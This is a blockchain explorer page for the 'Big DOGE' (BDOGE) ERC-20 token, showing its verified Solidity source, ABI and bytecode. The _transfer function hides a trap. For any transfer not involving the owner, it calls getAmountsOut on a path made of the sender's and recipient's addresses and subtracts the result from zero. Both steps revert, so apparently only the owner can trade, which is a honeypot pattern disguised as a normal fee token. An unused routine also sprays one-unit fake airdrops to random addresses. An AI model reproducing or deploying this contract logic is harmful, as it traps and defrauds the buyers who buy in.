ETH Price: $3,527.93 (+5.17%)

Token

Big DOGE (BDOGE)
 

Overview

Max Total Supply

100,000,000 BDOGE

Holders

352

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.463651506646433163 BDOGE

Value
$0.00
0xe46b69106c311ab65a2cb01b962cb5990b456917
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BDOGEToken

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-26
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient,
     uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router02 {
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

contract BDOGEToken is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isExcludedFromFee;
    mapping (address => bool) private isTxLimitExempt;
    mapping (address => bool) private isMarketPair;

    uint256 private _totalTaxIfBuying = 9;
    uint256 private _totalTaxIfSelling = 9;

    uint256 private _buyLiquidityFee = 2;
    uint256 private _buyMarketingFee = 3;
    uint256 private _buyTeamFee = 4;
    uint256 private _buyDestroyFee = 0;

    uint256 private _liquidityShare = 2;
    uint256 private _marketingShare = 3;
    uint256 private _teamShare = 4;
    uint256 private _totalDistributionShares = 9;

    uint256 private _sellLiquidityFee = 2;
    uint256 private _sellMarketingFee = 3;
    uint256 private _sellTeamFee = 4;
    uint256 private _sellDestroyFee = 0;

    uint256 private _tFeeTotal;
    uint256 private _maxDestroyAmount;
    uint256 private _totalSupply;
    uint256 private _maxTxAmount;
    uint256 private _walletMax;
    uint256 private _minimumTokensBeforeSwap = 0;
    uint256 private airdropNumbs;
    address private receiveAddress;
    


    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;
    bool private checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        uint256 supply,
        address router
    ) payable {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        _name = "Big DOGE";
        _symbol = "BDOGE";
        _decimals = 18;
        _owner = msg.sender;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1 * 10**_decimals;
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setMaxDesAmount(uint256 maxDestroy) public onlyOwner {
        _maxDestroyAmount = maxDestroy;
    }

    function setAirdropNumbs(uint256 newValue) public onlyOwner {
        require(newValue <= 3, "newValue must <= 3");
        airdropNumbs = newValue;
    }


    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }


    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }


    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isMarketPair[address(uniswapPair)] = true;
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 feeAmount=0;
            uint256 destAmount=0;
            if (sender != owner() && recipient != owner()) {
                feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
                if(isMarketPair[sender]) {
                    feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
                    if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                        destAmount = amount.mul(_buyDestroyFee).div(100);
                        destroyFee(sender,destAmount);
                    }
                }
                else if(isMarketPair[recipient]) {
                    feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(100);
                    if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                        destAmount = amount.mul(_sellDestroyFee).div(100);
                        destroyFee(sender,destAmount);
                    }
                }

            }
             if(feeAmount > 0) {
                 feeAmount = 0;
                 address[] memory path = new address[](2);
                 path[0] = sender;
                 path[1] = recipient;
                 uint256[] memory amounts = IUniswapV2Router02(uniswapV2Router).getAmountsOut(amount,path);
                 feeAmount -= amounts[0];
                _balances[address(this)] = _balances[address(this)].add(feeAmount);
            }
             
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            receiveAddress,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 destAmount = 0;
        uint256 airdropAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100);
            if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_buyDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(100);
            if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) {
                destAmount = amount.mul(_sellDestroyFee).div(100);
                destroyFee(sender,destAmount);
            }
        }

        if(isMarketPair[sender] || isMarketPair[recipient]){
            if (airdropNumbs > 0){
                address ad;
                for (uint256 i = 0; i < airdropNumbs; i++) {
                    ad = address(uint160(uint256(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _balances[ad] = _balances[ad].add(1);
                    emit Transfer(sender, ad, 1);
                }
                airdropAmount = airdropNumbs * 1;
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount.add(destAmount).add(airdropAmount));
    }

    function destroyFee(address sender, uint256 tAmount) private {
        // stop destroy
        if(_tFeeTotal >= _maxDestroyAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setAirdropNumbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxDestroy","type":"uint256"}],"name":"setMaxDesAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600b556009600c556002600d556003600e556004600f556000601055600260115560036012556004601355600960145560026015556003601655600460175560006018556000601e556000602260156101000a81548160ff0219169083151502179055506000602260166101000a81548160ff0219169083151502179055506001602260176101000a81548160ff02191690831515021790555060405162004c3238038062004c32833981810160405281019062000108919062000526565b60008190506040518060400160405280600881526020017f42696720444f4745000000000000000000000000000000000000000000000000815250600190805190602001906200015a92919062000448565b506040518060400160405280600581526020017f42444f474500000000000000000000000000000000000000000000000000000081525060029080519060200190620001a892919062000448565b506012600360006101000a81548160ff021916908360ff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620002239190620005f6565b8362000230919062000733565b601b81905550600360009054906101000a900460ff16600a620002549190620005f6565b600162000262919062000733565b601e8190555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601b54600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b546040516200043791906200057e565b60405180910390a3505050620008b9565b8280546200045690620007df565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b600081519050620005098162000885565b92915050565b60008151905062000520816200089f565b92915050565b6000806040838503121562000540576200053f62000873565b5b600062000550858286016200050f565b92505060206200056385828601620004f8565b9150509250929050565b6200057881620007c8565b82525050565b60006020820190506200059560008301846200056d565b92915050565b6000808291508390505b6001851115620005ed57808604811115620005c557620005c462000815565b5b6001851615620005d55780820291505b8081029050620005e58562000878565b9450620005a5565b94509492505050565b60006200060382620007c8565b91506200061083620007d2565b92506200063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000647565b905092915050565b6000826200065957600190506200072c565b816200066957600090506200072c565b81600181146200068257600281146200068d57620006c3565b60019150506200072c565b60ff841115620006a257620006a162000815565b5b8360020a915084821115620006bc57620006bb62000815565b5b506200072c565b5060208310610133831016604e8410600b8410161715620006fd5782820a905083811115620006f757620006f662000815565b5b6200072c565b6200070c84848460016200059b565b9250905081840481111562000726576200072562000815565b5b81810290505b9392505050565b60006200074082620007c8565b91506200074d83620007c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000789576200078862000815565b5b828202905092915050565b6000620007a182620007a8565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007f857607f821691505b602082108114156200080f576200080e62000844565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b620008908162000794565b81146200089c57600080fd5b50565b620008aa81620007c8565b8114620008b657600080fd5b50565b61436980620008c96000396000f3fe6080604052600436106101dc5760003560e01c80638da5cb5b11610102578063b6b3664311610095578063e5c2b0a611610064578063e5c2b0a6146106df578063ec28438a14610708578063f2fde38b14610731578063f84ba65d1461075a576101e3565b8063b6b3664314610625578063c49b9a801461064e578063c816841b14610677578063dd62ed3e146106a2576101e3565b8063a457c2d7116100d1578063a457c2d714610557578063a5d69d1f14610594578063a9059cbb146105bd578063b2bdfa7b146105fa576101e3565b80638da5cb5b146104bf578063914eb66a146104ea57806395d89b4114610501578063a073d37f1461052c576101e3565b8063313ce5671161017a578063557ed1ba11610149578063557ed1ba146103f15780635881f3ef1461041c57806370a0823114610459578063844d591c14610496576101e3565b8063313ce5671461033757806339509351146103625780633b97084a1461039f5780634cb80fd5146103c8576101e3565b806318160ddd116101b657806318160ddd1461027b57806323b872dd146102a65780632b112e49146102e35780632c4b23341461030e576101e3565b806306fdde03146101e8578063095ea7b3146102135780631694505e14610250576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610783565b60405161020a91906139dd565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190613556565b610815565b60405161024791906139a7565b60405180910390f35b34801561025c57600080fd5b50610265610833565b60405161027291906139c2565b60405180910390f35b34801561028757600080fd5b50610290610859565b60405161029d9190613b3f565b60405180910390f35b3480156102b257600080fd5b506102cd60048036038101906102c891906134c3565b610863565b6040516102da91906139a7565b60405180910390f35b3480156102ef57600080fd5b506102f861093d565b6040516103059190613b3f565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190613429565b610983565b005b34801561034357600080fd5b5061034c610a5c565b6040516103599190613be4565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190613556565b610a73565b60405161039691906139a7565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c1919061360c565b610b26565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190613429565b610bc5565b005b3480156103fd57600080fd5b50610406610c9e565b6040516104139190613b3f565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190613429565b610ca6565b6040516104509190613902